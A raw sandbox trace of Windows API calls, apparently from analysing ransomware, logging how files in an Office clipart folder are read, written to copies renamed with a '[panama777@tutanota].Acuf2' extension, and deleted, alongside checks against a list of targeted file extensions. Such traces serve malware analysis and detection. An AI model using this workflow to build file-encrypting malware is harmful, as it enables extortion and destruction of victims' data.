	[0274.601] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.601] SetEndOfFile (hFile=0x274) returned 1
	[0274.603] CloseHandle (hObject=0x274) returned 1
	[0274.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf")) returned 1
	[0274.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63
	[0274.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63
	[0274.604] lstrlenW (lpString=".doc") returned 4
	[0274.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.604] lstrlenW (lpString=".docx") returned 5
	[0274.604] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0274.604] lstrlenW (lpString=".pdf") returned 4
	[0274.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.604] lstrlenW (lpString=".xls") returned 4
	[0274.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.604] lstrlenW (lpString=".xlsx") returned 5
	[0274.604] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0274.604] lstrlenW (lpString=".ppt") returned 4
	[0274.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63
	[0274.604] lstrlenW (lpString=".zip") returned 4
	[0274.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.604] lstrlenW (lpString=".rar") returned 4
	[0274.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.604] lstrlenW (lpString=".bz2") returned 4
	[0274.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.605] lstrlenW (lpString=".7z") returned 3
	[0274.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63
	[0274.605] lstrlenW (lpString=".dbf") returned 4
	[0274.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63
	[0274.605] lstrlenW (lpString=".1cd") returned 4
	[0274.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63
	[0274.605] lstrlenW (lpString=".jpg") returned 4
	[0274.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.605] GetFileSizeEx (in: hFile=0x274, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=4536) returned 1
	[0274.605] CloseHandle (hObject=0x274) returned 1
	[0274.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf")) returned 0x20
	[0274.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0274.606] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.606] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0274.608] GetLastError () returned 0x0
	[0274.608] ReadFile (in: hFile=0x274, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x11b8, lpOverlapped=0x0) returned 1
	[0274.807] WriteFile (in: hFile=0x36c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x11c0, lpOverlapped=0x0) returned 1
	[0274.808] ReadFile (in: hFile=0x274, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.808] WriteFile (in: hFile=0x36c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.808] SetEndOfFile (hFile=0x36c) returned 1
	[0274.808] CloseHandle (hObject=0x36c) returned 1
	[0274.808] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.808] SetEndOfFile (hFile=0x274) returned 1
	[0274.810] CloseHandle (hObject=0x274) returned 1
	[0274.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf")) returned 1
	[0274.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63
	[0274.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63
	[0274.818] lstrlenW (lpString=".doc") returned 4
	[0274.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.819] lstrlenW (lpString=".docx") returned 5
	[0274.819] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0274.819] lstrlenW (lpString=".pdf") returned 4
	[0274.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.819] lstrlenW (lpString=".xls") returned 4
	[0274.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.819] lstrlenW (lpString=".xlsx") returned 5
	[0274.819] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0274.819] lstrlenW (lpString=".ppt") returned 4
	[0274.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63
	[0274.819] lstrlenW (lpString=".zip") returned 4
	[0274.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.819] lstrlenW (lpString=".rar") returned 4
	[0274.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.819] lstrlenW (lpString=".bz2") returned 4
	[0274.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.819] lstrlenW (lpString=".7z") returned 3
	[0274.819] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63
	[0274.819] lstrlenW (lpString=".dbf") returned 4
	[0274.819] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63
	[0274.819] lstrlenW (lpString=".1cd") returned 4
	[0274.819] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63
	[0274.819] lstrlenW (lpString=".jpg") returned 4
	[0274.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.820] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=14132) returned 1
	[0274.820] CloseHandle (hObject=0x34c) returned 1
	[0274.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf")) returned 0x20
	[0274.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0274.820] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.820] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0274.821] GetLastError () returned 0x0
	[0274.821] ReadFile (in: hFile=0x34c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x3734, lpOverlapped=0x0) returned 1
	[0274.831] WriteFile (in: hFile=0x338, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x3740, lpOverlapped=0x0) returned 1
	[0274.832] ReadFile (in: hFile=0x34c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.832] WriteFile (in: hFile=0x338, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.832] SetEndOfFile (hFile=0x338) returned 1
	[0274.832] CloseHandle (hObject=0x338) returned 1
	[0274.832] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.832] SetEndOfFile (hFile=0x34c) returned 1
	[0274.837] CloseHandle (hObject=0x34c) returned 1
	[0274.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf")) returned 1
	[0274.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63
	[0274.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63
	[0274.991] lstrlenW (lpString=".doc") returned 4
	[0274.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.991] lstrlenW (lpString=".docx") returned 5
	[0274.991] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0274.991] lstrlenW (lpString=".pdf") returned 4
	[0274.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.991] lstrlenW (lpString=".xls") returned 4
	[0274.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.991] lstrlenW (lpString=".xlsx") returned 5
	[0274.991] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0274.991] lstrlenW (lpString=".ppt") returned 4
	[0274.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63
	[0274.991] lstrlenW (lpString=".zip") returned 4
	[0274.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.991] lstrlenW (lpString=".rar") returned 4
	[0274.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.991] lstrlenW (lpString=".bz2") returned 4
	[0274.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.991] lstrlenW (lpString=".7z") returned 3
	[0274.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63
	[0274.991] lstrlenW (lpString=".dbf") returned 4
	[0274.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63
	[0274.991] lstrlenW (lpString=".1cd") returned 4
	[0274.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63
	[0274.991] lstrlenW (lpString=".jpg") returned 4
	[0274.992] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.010] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=4136) returned 1
	[0275.010] CloseHandle (hObject=0x36c) returned 1
	[0275.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf")) returned 0x20
	[0275.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0275.203] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.203] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0275.203] GetLastError () returned 0x0
	[0275.203] ReadFile (in: hFile=0x214, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1028, lpOverlapped=0x0) returned 1
	[0275.219] WriteFile (in: hFile=0x34c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1030, lpOverlapped=0x0) returned 1
	[0275.219] ReadFile (in: hFile=0x214, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.219] WriteFile (in: hFile=0x34c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.219] SetEndOfFile (hFile=0x34c) returned 1
	[0275.220] CloseHandle (hObject=0x34c) returned 1
	[0275.220] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.220] SetEndOfFile (hFile=0x214) returned 1
	[0275.222] CloseHandle (hObject=0x214) returned 1
	[0275.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf")) returned 1
	[0275.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63
	[0275.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63
	[0275.251] lstrlenW (lpString=".doc") returned 4
	[0275.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.251] lstrlenW (lpString=".docx") returned 5
	[0275.251] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0275.251] lstrlenW (lpString=".pdf") returned 4
	[0275.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.251] lstrlenW (lpString=".xls") returned 4
	[0275.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.251] lstrlenW (lpString=".xlsx") returned 5
	[0275.251] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0275.251] lstrlenW (lpString=".ppt") returned 4
	[0275.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63
	[0275.251] lstrlenW (lpString=".zip") returned 4
	[0275.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.252] lstrlenW (lpString=".rar") returned 4
	[0275.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.252] lstrlenW (lpString=".bz2") returned 4
	[0275.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.252] lstrlenW (lpString=".7z") returned 3
	[0275.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63
	[0275.252] lstrlenW (lpString=".dbf") returned 4
	[0275.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63
	[0275.252] lstrlenW (lpString=".1cd") returned 4
	[0275.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63
	[0275.252] lstrlenW (lpString=".jpg") returned 4
	[0275.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.391] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.391] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0275.391] GetLastError () returned 0x0
	[0275.391] ReadFile (in: hFile=0x358, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x40cc, lpOverlapped=0x0) returned 1
	[0275.461] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x40d0, lpOverlapped=0x0) returned 1
	[0275.462] ReadFile (in: hFile=0x358, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.462] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.462] SetEndOfFile (hFile=0x35c) returned 1
	[0275.462] CloseHandle (hObject=0x35c) returned 1
	[0275.462] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.462] SetEndOfFile (hFile=0x358) returned 1
	[0275.464] CloseHandle (hObject=0x358) returned 1
	[0275.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf")) returned 1
	[0275.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63
	[0275.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63
	[0275.472] lstrlenW (lpString=".doc") returned 4
	[0275.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.472] lstrlenW (lpString=".docx") returned 5
	[0275.472] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0275.472] lstrlenW (lpString=".pdf") returned 4
	[0275.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.472] lstrlenW (lpString=".xls") returned 4
	[0275.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.472] lstrlenW (lpString=".xlsx") returned 5
	[0275.472] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0275.472] lstrlenW (lpString=".ppt") returned 4
	[0275.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63
	[0275.472] lstrlenW (lpString=".zip") returned 4
	[0275.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.472] lstrlenW (lpString=".rar") returned 4
	[0275.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.472] lstrlenW (lpString=".bz2") returned 4
	[0275.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.472] lstrlenW (lpString=".7z") returned 3
	[0275.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63
	[0275.472] lstrlenW (lpString=".dbf") returned 4
	[0275.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63
	[0275.472] lstrlenW (lpString=".1cd") returned 4
	[0275.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63
	[0275.473] lstrlenW (lpString=".jpg") returned 4
	[0275.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.500] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.507] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
